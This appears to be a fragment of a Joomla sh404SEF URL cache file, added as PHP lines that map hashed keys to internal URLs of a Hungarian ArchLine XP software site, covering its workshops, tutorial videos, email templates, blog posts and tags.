+$this->_urlCache['a2b1f9efae86d00523559bbd302e438d']='index.php?option=com_sppagebuilder&Itemid=783&id=364&lang=hu&layout=edit&tmpl=component&view=form#edit/364#0'; +$this->_urlCache['e871455639d467ed952189105ec0106b']='index.php?option=com_sppagebuilder&Itemid=587&id=237&lang=hu&layout=edit&tmpl=component&view=form#edit/237#0'; +$this->_urlCache['37ee089e5670cb98fcfb2c12204c015b']='index.php?option=com_sppagebuilder&Itemid=735&id=334&lang=hu&layout=edit&tmpl=component&view=form#edit/334#0'; +$this->_urlCache['7b964334ddc434193a1cce4900cdc607']='index.php?option=com_content&Itemid=124&catid=34&id=987&lang=hu&view=article#letoltes/live-2023#0'; +$this->_urlCache['c6d0137274d080ca3b5b5a82fe3e551e']='index.php?option=com_sppagebuilder&Itemid=553&id=206&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-bim/csapatmunka-bim#0'; +$this->_urlCache['c93bd8bb3fcbccf0bd550708d98891e7']='index.php?option=com_sppagebuilder&Itemid=358&id=101&lang=hu&layout=edit&tmpl=component&view=form#101-oktatoi-vizsga/edit#0'; +$this->_urlCache['fdf04bc28b0a5ad01b9621c28191b0f2']='index.php?option=com_content&Itemid=124&format=feed&id=50&lang=hu&type=rss&view=category#non-profit/feed/rss#0'; +$this->_urlCache['113b618a6c716d225e092e0447554dc1']='index.php?option=com_content&Itemid=124&format=feed&id=50&lang=hu&type=atom&view=category#non-profit/feed/atom#0'; +$this->_urlCache['9016a2447bd12cf73b50ac42f472168e']='index.php?option=com_content&Itemid=124&catid=50&id=551&lang=hu&view=article#non-profit/nonprofit#0'; +$this->_urlCache['e9c32ab62f2da59855934110ba461152']='index.php?option=com_content&Itemid=124&catid=50&id=749&lang=hu&view=article#non-profit/nonprofitlive#0'; +$this->_urlCache['8bec31f112fd38a6608c095da9182be3']='index.php?option=com_tags&id=81&lang=hu&view=tag#tag/81#0'; +$this->_urlCache['aed520fa2f6f2943fd6f5af5dd80127b']='index.php?option=com_tags&id=69&lang=hu&view=tag#tag/69#0'; +$this->_urlCache['e2f27ce60322cc3027a23d1cd91f8237']='index.php?option=com_tags&id=82&lang=hu&view=tag#tag/82#0'; +$this->_urlCache['da65ef490cebbb48e1b43582444d94d4']='index.php?option=com_sppagebuilder&Itemid=0&id=30&lang=hu&layout=edit&tmpl=component&view=form#30-oktatovideok/edit#0'; +$this->_urlCache['5f7acad9d79b1cfea81e1fe8a867c137']='index.php?option=com_content&Itemid=124&format=feed&id=36&lang=hu&type=rss&view=category#projektek/feed/rss#0'; +$this->_urlCache['4cddda843f4bf319b3b1c9d3a1a0db95']='index.php?option=com_content&Itemid=124&format=feed&id=36&lang=hu&type=atom&view=category#projektek/feed/atom#0'; +$this->_urlCache['b1ef231af3f190a38974648bafcdcb26']='index.php?option=com_content&Itemid=124&id=15&lang=hu&view=category#blog/#0'; +$this->_urlCache['0235c003ee4fce87315a61c2f7e5ff80']='index.php?option=com_content&Itemid=124&id=16&lang=hu&view=category#workshop/#0'; +$this->_urlCache['bf08070fa1c2742d85c1ec8690976478']='index.php?option=com_content&Itemid=124&id=19&lang=hu&view=category#palyazatok/#0'; +$this->_urlCache['319e324087bf14c58a98a495d95bde7c']='index.php?option=com_content&Itemid=124&id=34&lang=hu&view=category#letoltes/#0'; +$this->_urlCache['7faebad2aa1043a7f42d461a75ff94cd']='index.php?option=com_content&Itemid=124&id=36&lang=hu&view=category#projektek/#0'; +$this->_urlCache['e86742c861191d41c30665b801b7bd2b']='index.php?option=com_content&Itemid=124&id=41&lang=hu&view=category#sh404sef-custom-content/#0'; +$this->_urlCache['b63f58cb695f054c661bf2471c52e844']='index.php?option=com_content&Itemid=124&id=44&lang=hu&view=category#oktatas/#0'; +$this->_urlCache['80803fc3b8057b60f4b56c31df942496']='index.php?option=com_content&Itemid=124&id=46&lang=hu&view=category#archline-xp/#0'; +$this->_urlCache['ff56ec3efba435d0f2880be1338e54d9']='index.php?option=com_content&Itemid=124&id=42&lang=hu&view=category#archline-xp/hirek/#0'; +$this->_urlCache['9fb8eae635d0a501fc88d605a0bb7ce4']='index.php?option=com_content&Itemid=124&id=52&lang=hu&view=category#archline-xp/letoltesikozpont/#0'; +$this->_urlCache['dd1e7ce5ca48f5b2bdb79d172a9f06fd']='index.php?option=com_content&Itemid=124&id=47&lang=hu&view=category#bemutatoterem/#0'; +$this->_urlCache['7e48a43fd0ef98509d3609ea9efccace']='index.php?option=com_content&Itemid=124&id=48&lang=hu&view=category#workshop-email-templates/#0'; +$this->_urlCache['a93c103349302607b0502e0fde2ab847']='index.php?option=com_content&Itemid=124&id=50&lang=hu&view=category#non-profit/#0'; +$this->_urlCache['87f03fc7ac9aa2ed34890d22fd00cad4']='index.php?option=com_content&Itemid=124&id=57&lang=hu&view=category#karbantartas/#0'; +$this->_urlCache['e40f2fcbe67d5727534bccdc660a2565']='index.php?option=com_content&Itemid=124&id=58&lang=hu&view=category#jogi/#0'; +$this->_urlCache['e8bb24eb67012d88f0ec2d2274e5c908']='index.php?option=com_content&Itemid=124&format=feed&id=57&lang=hu&type=rss&view=category#karbantartas/feed/rss#0'; +$this->_urlCache['d9aba10273b8a2e65c3f5555a2aa8748']='index.php?option=com_content&Itemid=124&format=feed&id=57&lang=hu&type=atom&view=category#karbantartas/feed/atom#0'; +$this->_urlCache['91859bed575342b3b1e929d9223bfee8']='index.php?option=com_content&Itemid=124&format=feed&id=46&lang=hu&type=rss&view=category#archline-xp/feed/rss#0'; +$this->_urlCache['2fb2ee43c8b318b78ea285fa14fc0c9e']='index.php?option=com_content&Itemid=124&format=feed&id=46&lang=hu&type=atom&view=category#archline-xp/feed/atom#0'; +$this->_urlCache['1a600c3e063bfde97b525a1afb769630']='index.php?option=com_content&Itemid=124&format=feed&id=16&lang=hu&type=rss&view=category#workshop/feed/rss#0'; +$this->_urlCache['15fd98f87499a30158fc52b0394175e2']='index.php?option=com_content&Itemid=124&format=feed&id=16&lang=hu&type=atom&view=category#workshop/feed/atom#0'; +$this->_urlCache['d3d8159d30176a135e7cd5c0dbc24a3d']='index.php?option=com_content&Itemid=124&catid=16&id=337&lang=hu&view=article#workshop/mitol-kulonlegesek-a-workshopok#0'; +$this->_urlCache['6a7f6a0b43a094530c16f7a368d37793']='index.php?option=com_content&Itemid=124&catid=16&id=338&lang=hu&view=article#workshop/regisztracios-es-lemondasi-feltetelek#0'; +$this->_urlCache['3028557cda4323b1d0a379d57893357d']='index.php?option=com_content&Itemid=124&format=feed&id=48&lang=hu&type=rss&view=category#workshop-email-templates/feed/rss#0'; +$this->_urlCache['9d1b935f36845f9f6f0666574a7a0fe5']='index.php?option=com_content&Itemid=124&format=feed&id=48&lang=hu&type=atom&view=category#workshop-email-templates/feed/atom#0'; +$this->_urlCache['4c758fdda4da0564c2c83c36f2ea2677']='index.php?option=com_content&Itemid=124&catid=48&id=1109&lang=hu&view=article#workshop-email-templates/harosi-krisztina-render-tanfolyam-belter-3-visszaigazolas#0'; +$this->_urlCache['b59e659e2ffae3fc397776487a32b84c']='index.php?option=com_content&Itemid=124&catid=48&id=1100&lang=hu&view=article#workshop-email-templates/harosi-krisztina-render-tanfolyam-d5-visszaigazolas#0'; +$this->_urlCache['9705974ddaf69de786b92ef08425d1b7']='index.php?option=com_content&Itemid=124&catid=48&id=1123&lang=hu&view=article#workshop-email-templates/harosi-krisztina-render-tanfolyam-d5-halado-visszaigazolas#0'; +$this->_urlCache['b01f4878a0ca8a5f8466aae2fb554568']='index.php?option=com_content&Itemid=124&catid=48&id=1142&lang=hu&view=article#workshop-email-templates/harosi-krisztina-render-tanfolyam-d5-render-3-0-program-ujdonsagai-visszaigazolas#0'; +$this->_urlCache['6cb84da1077f8f68d933ef195002be8c']='index.php?option=com_content&Itemid=124&catid=48&id=1061&lang=hu&view=article#workshop-email-templates/harosi-krisztina-render-tanfolyam-visszaigazolas#0'; +$this->_urlCache['421c9981bdba17862bab8e4b98a829b3']='index.php?option=com_content&Itemid=124&catid=48&id=1067&lang=hu&view=article#workshop-email-templates/harosi-krisztina-render-tanfolyam-visszaigazolas-2#0'; +$this->_urlCache['b748589f3f1c9b6f626ea6524a64e726']='index.php?option=com_content&Itemid=124&catid=48&id=1068&lang=hu&view=article#workshop-email-templates/harosi-krisztina-render-tanfolyam-visszaigazolas-3#0'; +$this->_urlCache['b9b84b9163739134cd119d58224079f1']='index.php?option=com_content&Itemid=124&catid=48&id=1081&lang=hu&view=article#workshop-email-templates/harosi-krisztina-render-tanfolyam-kulter-visszaigazolas#0'; +$this->_urlCache['24f1a18ae085125215a21f09228a7ce6']='index.php?option=com_content&Itemid=124&catid=48&id=1082&lang=hu&view=article#workshop-email-templates/harosi-krisztina-render-tanfolyam-photoshop-visszaigazolas#0'; +$this->_urlCache['465de6abe0d49c6929f2d80cc632d356']='index.php?option=com_content&Itemid=124&catid=48&id=1089&lang=hu&view=article#workshop-email-templates/aranyi-klaudia-kezdo-tanfolyam-visszaigazolas#0'; +$this->_urlCache['d34dc32d95b7bbc80b1d4e58c8a76d06']='index.php?option=com_content&Itemid=124&catid=48&id=1090&lang=hu&view=article#workshop-email-templates/aranyi-klaudia-halado-tanfolyam-visszaigazolas#0'; +$this->_urlCache['4ae7b43bc904239fafe600d13939daee']='index.php?option=com_content&Itemid=124&catid=48&id=1091&lang=hu&view=article#workshop-email-templates/aranyi-klaudia-teto-es-lepcso-szerkesztes-tanfolyam-visszaigazolas#0'; +$this->_urlCache['a577958a509a7153786270d0594fe3d3']='index.php?option=com_content&Itemid=124&catid=48&id=1103&lang=hu&view=article#workshop-email-templates/aranyi-klaudia-kiviteli-terv-tanfolyam-visszaigazolas#0'; +$this->_urlCache['885a4d492651758782227cef6727e616']='index.php?option=com_content&Itemid=124&catid=48&id=1122&lang=hu&view=article#workshop-email-templates/ferenczi-eva-tanfolyam-visszaigazolas#0'; +$this->_urlCache['2c5f2070c798cd33c5ea5a87790d278b']='index.php?option=com_content&Itemid=124&catid=48&id=895&lang=hu&view=article#workshop-email-templates/archline-xp-webinar-visszaigazolas-live-ujdonsagok-webinar#0'; +$this->_urlCache['39a3080b63cd63fe370ddc43267f19be']='index.php?option=com_content&Itemid=124&catid=48&id=903&lang=hu&view=article#workshop-email-templates/archline-xp-webinar-visszaigazolas-live-profi-latvanytervek-es-videok-keszitese#0'; +$this->_urlCache['a46fdaf4491ac342d90a7ca7903c5a10']='index.php?option=com_content&Itemid=124&catid=48&id=912&lang=hu&view=article#workshop-email-templates/archline-xp-webinar-visszaigazolas-epiteszeti-tanfolyam-1-9-resz#0'; +$this->_urlCache['533d6c9622342a7e486bb3e52dc3b3fe']='index.php?option=com_content&Itemid=124&catid=48&id=939&lang=hu&view=article#workshop-email-templates/archline-xp-ujdonsagok-2022-webinar-visszaigazolas#0'; +$this->_urlCache['5842b99f7cec3db5dfaff5cbd13642e7']='index.php?option=com_content&Itemid=124&catid=48&id=940&lang=hu&view=article#workshop-email-templates/archline-xp-ujdonsagok-2022-webinar-visszaigazolas-2-resz#0'; +$this->_urlCache['44a2184f8fe9560a92ff3f9fe283395b']='index.php?option=com_content&Itemid=124&catid=48&id=941&lang=hu&view=article#workshop-email-templates/archline-xp-ujdonsagok-2022-webinar-visszaigazolas-3-resz#0'; +$this->_urlCache['c25903dfdc648d01f4c8205e0ad86bf0']='index.php?option=com_content&Itemid=124&catid=48&id=949&lang=hu&view=article#workshop-email-templates/archline-xp-live-ujdonsagok-2022-webinar-visszaigazolas-1-resz#0'; +$this->_urlCache['df29e1725694b1bc1ae7fd97d1b76091']='index.php?option=com_content&Itemid=124&catid=48&id=950&lang=hu&view=article#workshop-email-templates/archline-xp-live-ujdonsagok-2022-webinar-visszaigazolas-2-resz#0'; +$this->_urlCache['a5068c59b569985626f75996085486a8']='index.php?option=com_content&Itemid=124&catid=48&id=893&lang=hu&view=article#workshop-email-templates/elo-ingyenes-archline-xp-online-kozepfoku-tanfolyam-visszaigazolas#0'; +$this->_urlCache['72d4dd83b31f00b3a89ffeb10411a098']='index.php?option=com_content&Itemid=124&catid=48&id=948&lang=hu&view=article#workshop-email-templates/ingyenes-online-kozepfoku-tanfolyam-visszaigazolas#0'; +$this->_urlCache['b6ba5c587b477cf7af30d26dc6755c89']='index.php?option=com_content&Itemid=124&catid=48&id=887&lang=hu&view=article#workshop-email-templates/archline-xp-webinar-visszaigazolas-ujdonsagok-3-2021#0'; +$this->_urlCache['0d75b3ddd1e864f339190d9072b62c18']='index.php?option=com_content&Itemid=124&catid=48&id=883&lang=hu&view=article#workshop-email-templates/elo-ingyenes-archline-xp-online-alapfoku-tanfolyam-visszaigazolas#0'; +$this->_urlCache['dc51eef7a079820753efc7a5c9b57455']='index.php?option=com_content&Itemid=124&catid=48&id=938&lang=hu&view=article#workshop-email-templates/ingyenes-archline-xp-online-alapfoku-tanfolyam-visszaigazolas#0'; +$this->_urlCache['cc0411f9d6420f76500326d9e337f466']='index.php?option=com_content&Itemid=124&catid=48&id=803&lang=hu&view=article#workshop-email-templates/online-felsofoku-tanfolyam-jelentkezes-visszaigazolasa#0'; +$this->_urlCache['fa67eabc41175bb689af34736780ed08']='index.php?option=com_content&Itemid=124&catid=48&id=839&lang=hu&view=article#workshop-email-templates/online-alapfoku-tanfolyam-foglalasi-visszaigazolas#0'; +$this->_urlCache['ca6bcefbccd7973c82d4282d0abe13d2']='index.php?option=com_content&Itemid=124&catid=48&id=1059&lang=hu&view=article#workshop-email-templates/elozetes-jelentkezes-visszaigazolas-belteri-rendering#0'; +$this->_urlCache['66b4f3ea67b9324f5c5a615c7aac7fe2']='index.php?option=com_content&Itemid=124&catid=48&id=1060&lang=hu&view=article#workshop-email-templates/elozetes-jelentkezes-visszaigazolas-belteri-rendering-2#0'; +$this->_urlCache['aac27d773a447c09683f4768713fd5a3']='index.php?option=com_content&Itemid=124&catid=48&id=880&lang=hu&view=article#workshop-email-templates/archline-xp-webinar-visszaigazolas-ujdonsagok-2021-1-resz#0'; +$this->_urlCache['358e3869a40fd216302d042a9470b81a']='index.php?option=com_content&Itemid=124&catid=48&id=588&lang=hu&view=article#workshop-email-templates/oktatoi-nap-jelentkezes-visszaigazolas#0'; +$this->_urlCache['08f1b163c01e0f7c0a721e77f1c1c916']='index.php?option=com_content&Itemid=124&format=feed&id=58&lang=hu&type=rss&view=category#jogi/feed/rss#0'; +$this->_urlCache['1858261d2341fbe37567cb28eaa4722f']='index.php?option=com_content&Itemid=124&format=feed&id=58&lang=hu&type=atom&view=category#jogi/feed/atom#0'; +$this->_urlCache['1e242848415b92e5fc7fe9a721873f50']='index.php?option=com_content&Itemid=124&catid=58&id=585&lang=hu&view=article#jogi/bemutatoterem-felhasznalasi-feltetelei#0'; +$this->_urlCache['b2b77c29540145a0e74b25f0183587d1']='index.php?option=com_sppagebuilder&Itemid=697&id=314&lang=hu&layout=edit&tmpl=component&view=form#edit/314#0'; +$this->_urlCache['51466fb8ca64b028f8a2c9fe9ce515da']='index.php?option=com_sppagebuilder&Itemid=779&id=383&lang=hu&layout=edit&tmpl=component&view=form#edit/383#0'; +$this->_urlCache['883b978dc929c71f5236960e23c99734']='index.php?option=com_sppagebuilder&Itemid=753&id=361&lang=hu&layout=edit&tmpl=component&view=form#edit/361#0'; +$this->_urlCache['75c0457d46463524d1aa152e2081a4ea']='index.php?option=com_sppagebuilder&Itemid=501&id=182&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-epiteszet-2/terep-epitesi-terv-epiteszet-2#0'; +$this->_urlCache['233db42f7b37e2533cbb7ba602c3da6c']='index.php?option=com_sppagebuilder&Itemid=271&id=71&lang=hu&view=page#oktatas/workshopok/furdoszoba-tervezes#0'; +$this->_urlCache['81f75f972ab74e19e14b1a5017d7fc30']='index.php?option=com_content&id=311&lang=hu&view=article#blog/munkak-bemutatasa/ujabb-diplomamunka-latvanytervek-ezuttal-zalan-katalintol#0'; +$this->_urlCache['2c1f7931b726a35ac6100525518da4ed']='index.php?option=com_sppagebuilder&Itemid=656&id=289&lang=hu&layout=edit&tmpl=component&view=form#edit/289#0'; +$this->_urlCache['589c16cc52d32e415af2fc81a4074775']='index.php?option=com_sppagebuilder&Itemid=636&id=265&lang=hu&layout=edit&tmpl=component&view=form#edit/265#0'; +$this->_urlCache['fc5a674de3eea63d98df2387046d4b79']='index.php?option=com_sppagebuilder&Itemid=192&id=30&lang=hu&view=page#sppagebuilder#0'; +$this->_urlCache['266749a9f9f6e0bbe8ef0cbfdd4450dc']='index.php?option=com_sppagebuilder&Itemid=269&id=69&lang=hu&view=page#oktatas/workshopok/dokumentacio-keszites#0'; +$this->_urlCache['463823f9b1a1c30359f77b614b153c51']='index.php?option=com_content&Itemid=124&catid=34&id=947&lang=hu&view=article#letoltes/live-2022-websetup#0'; +$this->_urlCache['c5539440eeb9bb4d65244065edaeace6']='index.php?option=com_content&id=477&lang=hu&view=article#blog/szakmai-cikkek/a-lakberendezo-szoftvere-archline-xp-alapok#0'; +$this->_urlCache['1ed1438889901f3b401e22e402d2e3d2']='index.php?option=com_content&Itemid=124&format=feed&id=17&lang=hu&type=rss&view=category#oktatas/tippek-dokumentaciok/feed/rss#0'; +$this->_urlCache['a5dfb991831d9277eb652fb3765da06c']='index.php?option=com_content&Itemid=124&format=feed&id=17&lang=hu&type=atom&view=category#oktatas/tippek-dokumentaciok/feed/atom#0'; +$this->_urlCache['da621200a6d7aa11b10ce0b399a9e54c']='index.php?option=com_sppagebuilder&Itemid=407&id=119&lang=hu&layout=edit&tmpl=component&view=form#119-metropolitan-kurzus/edit#0'; +$this->_urlCache['2ba3122f1b59021908161e4a4906ab44']='index.php?option=com_content&Itemid=263&catid=79&id=726&lang=hu&view=article#oktatas/webinariumok/reszletrajzok-az-archline-xp-ben#0'; +$this->_urlCache['aeacca80374e874b87e4a57f114c0ff9']='index.php?option=com_content&Itemid=124&catid=51&id=807&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2020-live-valtozasok#0'; +$this->_urlCache['94cf6927c312d843eb37c7071e243955']='index.php?option=com_sppagebuilder&Itemid=480&id=161&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-belsoepiteszet-1/furdoszoba-belsoepiteszet-1#0'; +$this->_urlCache['978bacf41618b507cbf2da2933671828']='index.php?option=com_content&Itemid=366&catid=24&id=1058&lang=hu&view=article#blog/munkak-bemutatasa/modern-csaladi-haz#0'; +$this->_urlCache['15dbb326ceb5fe39e1c182e7b3809c2d']='index.php?option=com_jsn&Itemid=&id=42296&lang=hu&view=profile#renata.nagycadline.hu.html#0'; +$this->_urlCache['e88f278aa4a680522dd8db978b4e1da4']='index.php?option=com_content&Itemid=366&catid=24&id=1143&lang=hu&view=article#blog/munkak-bemutatasa/vizparti-nyaralo-ahol-a-design-a-termeszettel-rezonal#0'; +$this->_urlCache['41fba2964f43666b9cf2fb1be3614d93']='index.php?option=com_content&Itemid=366&id=24&lang=hu&limit=31&limitstart=186&view=category#blog/munkak-bemutatasa/Page-7-31#0'; +$this->_urlCache['718b9a20ecbae953dacc62e9c782d804']='index.php?option=com_content&Itemid=366&catid=24&id=1144&lang=hu&view=article#blog/munkak-bemutatasa/hamisitatlan-japandi-stilus-egy-szentendrei-csaladi-hazban#0'; +$this->_urlCache['acddea7bec4a6a4566b29d745080bec8']='index.php?option=com_content&id=478&lang=hu&view=article#blog/szakmai-cikkek/archline-xp-2016-es-az-uj-renderelo-modul#0'; +$this->_urlCache['49724046a5b231641fb3be5db0bbd562']='index.php?option=com_content&Itemid=177&id=22&lang=hu&layout=blog&view=category#palyazatok/evszak-hangulatmontazsa/#0'; +$this->_urlCache['eda019fe0358336d040d4d4b402f901b']='index.php?option=com_content&Itemid=124&catid=59&id=748&lang=hu&view=article#oktatas/webinariumok/archline-xp-live-belsoepiteszeknek#0'; +$this->_urlCache['69e5ebf06bca989b7ad687e145176865']='index.php?option=com_users&Itemid=375&lang=hu&view=login#belepes/#0'; +$this->_urlCache['eaa7e46f7a5f51762c1c220d9cb14f0d']='index.php?option=com_sppagebuilder&Itemid=213&id=56&view=page&lang=hu#letoltes/letoltesikozpont#0'; +$this->_urlCache['37e33d0459528c508c1f5264978f0eca']='index.php?option=com_sppagebuilder&Itemid=209&id=90&lang=hu&view=page#oktatas/aktivalas#0'; +$this->_urlCache['8824d958e0a7b9a6ac1dc386798582dd']='index.php?option=com_sppagebuilder&Itemid=186&id=116&lang=hu&view=page#termekek/archline-xp-professional/belsoepiteszeti-elonyok#1'; +$this->_urlCache['442ed6137808a809b65d195c5940cd34']='index.php?option=com_sppagebuilder&Itemid=281&id=74&lang=hu&view=page#oktatas/workshopok/latvanytervezes-kurzus#0'; +$this->_urlCache['c967093bd8d057719306a4616e5c0d9b']='index.php?option=com_tags&id=28&lang=hu&view=tag#tag/28#0'; +$this->_urlCache['7269262869d536c756ff3186702309d4']='index.php?option=com_content&Itemid=177&catid=22&id=533&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2016-osz#0'; +$this->_urlCache['dc1d54ab0dd0c9352fc480e7b6d346d6']='index.php?option=com_content&Itemid=177&catid=22&id=531&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2016-tavasz#0'; +$this->_urlCache['c8553946f86cbc4361e44b7e3bb7d22e']='index.php?option=com_content&Itemid=177&catid=22&id=534&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2016-tel#0'; +$this->_urlCache['feb2cca5347a34a095ae5818d3e257e5']='index.php?option=com_content&Itemid=189&catid=42&id=399&lang=hu&view=article#archline-xp/hirek/workshop-2017-berlet#0'; +$this->_urlCache['5ee7bbaabb3c498fb39c95b45464364e']='index.php?option=com_speasyimagegallery&Itemid=383&id=2&lang=hu&view=album#termekek/archline-xp-professional/galeria/epiteszet#1'; +$this->_urlCache['4563f707a6faa00ad151b4a4b87000aa']='index.php?option=com_tags&id=22&lang=hu&view=tag#tag/22#0'; +$this->_urlCache['249fe3bbee43c4033c17c82cac290335']='index.php?option=com_sppagebuilder&Itemid=0&id=109&lang=hu&layout=edit&tmpl=component&view=form#109-konyhatervezes-mozaik/edit#0'; +$this->_urlCache['5b433e2276b21f039313cafc67f38c02']='index.php?option=com_sppagebuilder&Itemid=578&id=229&lang=hu&layout=edit&tmpl=component&view=form#edit/229#0'; +$this->_urlCache['84ea4c4474a2b837d8e3a8f54a55f51f']='index.php?option=com_sppagebuilder&Itemid=723&id=348&lang=hu&layout=edit&tmpl=component&view=form#edit/348#0'; +$this->_urlCache['9564dfe9f9b6597634291ff7232d8c06']='index.php?option=com_sppagebuilder&Itemid=696&id=383&lang=hu&layout=edit&tmpl=component&view=form#edit/383#0'; +$this->_urlCache['754843de3eb6903dc93e0740646b1e3a']='index.php?option=com_sppagebuilder&Itemid=696&id=383&lang=hu&view=page#vasarlas/frissites-karbantartas#1'; +$shURLCacheCreationDate=1777888507; +$this->_urlCache['e5a0cdf006b4e51652409c13229af699']='index.php?option=com_sppagebuilder&Itemid=555&id=209&lang=hu&view=page#termekek/archline-xp-live/live-rendszerkovetelmenyek#1'; +$shURLCacheCreationDate=1778051715; +$this->_urlCache['3eadb75e306c16c7848aaf959a549767']='index.php?option=com_sppagebuilder&Itemid=270&id=70&lang=hu&view=page#oktatas/workshopok/konyha-tervezes#0'; +$shURLCacheCreationDate=1778130180; +$this->_urlCache['1091d195e5ead1b87200343e1ed416f3']='index.php?option=com_sppagebuilder&Itemid=465&id=152&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-alapok-1#0'; +$shURLCacheCreationDate=1778131331; +$this->_urlCache['d610e7a869b343c7ac352a6ea1d8425e']='index.php?option=com_sppagebuilder&Itemid=467&id=148&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-belsoepiteszet-1#0'; +$shURLCacheCreationDate=1778131332; +$this->_urlCache['419ed5f39f8447f7b2ff3d6955130006']='index.php?option=com_sppagebuilder&Itemid=466&id=149&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-alapok-2#0'; +$shURLCacheCreationDate=1778131340; +$this->_urlCache['ca586e40cbb4b4ed81ac15d75fedf3fb']='index.php?option=com_sppagebuilder&Itemid=811&id=412&lang=hu&view=page#oktatas/harosi-krisztina-tanfolyamok#0'; +$shURLCacheCreationDate=1778150895; +$this->_urlCache['128c1c1fc019cad927787613b07d5c54']='index.php?option=com_sppagebuilder&Itemid=811&id=412&lang=hu&layout=edit&tmpl=component&view=form#edit/412#0'; +$shURLCacheCreationDate=1778150898; +$this->_urlCache['257a5bf33f8a3799d1a2aa0fc8c69bd7']='index.php?option=com_content&Itemid=189&catid=42&id=1008&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2023-32-komfort-42-negyzetmeteren#0'; +$shURLCacheCreationDate=1778345560; +$this->_urlCache['ca9e769cf8d9238d3488dae5035e45c2']='index.php?option=com_content&Itemid=189&catid=42&id=1019&lang=hu&view=article#blog/al-letoltes-2024-beta#0'; +$shURLCacheCreationDate=1778345572; +$this->_urlCache['2fd7627a95fcae6a442b042e8034e884']='index.php?option=com_content&Itemid=189&catid=42&id=1022&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2023-51-kenyelem-szemelyre-szabva#0'; +$shURLCacheCreationDate=1778345579; +$this->_urlCache['94d147cf183aed0e3df43bc9aeb9e62e']='index.php?option=com_content&Itemid=189&catid=42&id=1024&lang=hu&view=article#blog/szakmai-cikkek/munkafolyamatok-megkonnyitese-az-archline-xp-vel#0'; +$shURLCacheCreationDate=1778345587; +$this->_urlCache['0ec736a2e461b6d6d019bcf5892e97ed']='index.php?option=com_content&Itemid=189&catid=42&id=1026&lang=hu&view=article#blog/munkak-bemutatasa/roman-timea-losz-ev-lakberendezoje-palyazat-kozonsegdijasa#0'; +$shURLCacheCreationDate=1778345595; +$this->_urlCache['2a27710e5193d30e0b0463bf43922d77']='index.php?option=com_content&Itemid=189&catid=42&id=1029&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2024-02-korlatok-kozt-szabadon#0'; +$shURLCacheCreationDate=1778345606; +$this->_urlCache['2aa94459d993aaaa0cbddabfb57d5c0a']='index.php?option=com_content&Itemid=189&catid=42&id=1032&lang=hu&view=article#blog/munkak-bemutatasa/francia-country-kohaz-a-to-partjan#0'; +$shURLCacheCreationDate=1778345614; +$this->_urlCache['c83ea268b8e16ae06374a1f1b49b188c']='index.php?option=com_content&Itemid=189&catid=42&id=1042&lang=hu&view=article#blog/munkak-bemutatasa/lenyugozo-furdoszoba-tervek-henczi-nora#0'; +$shURLCacheCreationDate=1778345622; +$this->_urlCache['05a9cb85bb68453d46a3709268e428e9']='index.php?option=com_content&Itemid=189&catid=42&id=949&lang=hu&view=article#workshop-email-templates/archline-xp-live-ujdonsagok-2022-webinar-visszaigazolas-1-resz#0'; +$shURLCacheCreationDate=1778345629; +$this->_urlCache['4a6aa1b778746768b31c6773161335dc']='index.php?option=com_content&Itemid=177&catid=22&id=532&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2016-nyar#0'; +$shURLCacheCreationDate=1778436162; +$this->_urlCache['4a6aa1b778746768b31c6773161335dc']='index.php?option=com_content&Itemid=177&catid=22&id=532&lang=hu&view=article#palyazatok/evszak-hangulatmontazsa/2016-nyar#0'; +$shURLCacheCreationDate=1778436163; +$this->_urlCache['a1853c43d356c8670859ee594104072c']='index.php?option=com_sppagebuilder&Itemid=474&id=155&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-alapok-1/import-alapok-1#0'; +$shURLCacheCreationDate=1778516391; +$this->_urlCache['c6e043f3bc1d109de07583210944dc73']='index.php?option=com_sppagebuilder&Itemid=288&id=81&lang=hu&view=page#oktatas/workshopok/fuggonyok#0'; +$shURLCacheCreationDate=1778553274; +$this->_urlCache['777798b039993115c47cd091b32b337f']='index.php?option=com_sppagebuilder&Itemid=495&id=176&lang=hu&view=page#oktatas/oktato-videok/oktato-videok-epiteszet-1/almennyezet-epiteszet-1#0'; +$shURLCacheCreationDate=1778577085; +$this->_urlCache['7eb05bdac36bbf4c777f35cdb105cddc']='index.php?option=com_content&Itemid=380&catid=19&id=571&lang=hu&view=article#palyazatok/honap-kepe-szavazas#0'; +$shURLCacheCreationDate=1778578856; +$this->_urlCache['ea15910c20f6eecc5ae8aca56e9b6257']='index.php?option=com_content&Itemid=755&catid=19&id=1101&lang=hu&view=article#palyazatok/rendering-palyazat-szavazas#1'; +$shURLCacheCreationDate=1778579333; +$this->_urlCache['847c2445e5c436cc3d17b0180ab8158f']='index.php?option=com_content&Itemid=124&catid=34&id=770&lang=hu&view=article#letoltes/al-letoltes-2019#0'; +$shURLCacheCreationDate=1778579699; +$this->_urlCache['6d67233bc0905a8db280eb59467891f5']='index.php?option=com_tags&id=17&lang=hu&view=tag#tag/17#0'; +$shURLCacheCreationDate=1778593114; +$this->_urlCache['6d67233bc0905a8db280eb59467891f5']='index.php?option=com_tags&id=17&lang=hu&view=tag#tag/17#0'; +$shURLCacheCreationDate=1778593115; +$this->_urlCache['1060e48592d687b6f13ea78fc885a6e3']='index.php?option=com_tags&id=23&lang=hu&view=tag#tag/23#0'; +$shURLCacheCreationDate=1778593117; +$this->_urlCache['1060e48592d687b6f13ea78fc885a6e3']='index.php?option=com_tags&id=23&lang=hu&view=tag#tag/23#0'; +$shURLCacheCreationDate=1778593119; +$this->_urlCache['6953548c92a1292e587491a760e7aa4a']='index.php?option=com_tags&id=24&lang=hu&view=tag#tag/24#0'; +$shURLCacheCreationDate=1778593120; +$this->_urlCache['e4136e8a5da0b1bab499ee2a938ad6db']='index.php?option=com_tags&id=27&lang=hu&view=tag#tag/27#0'; +$shURLCacheCreationDate=1778593124; 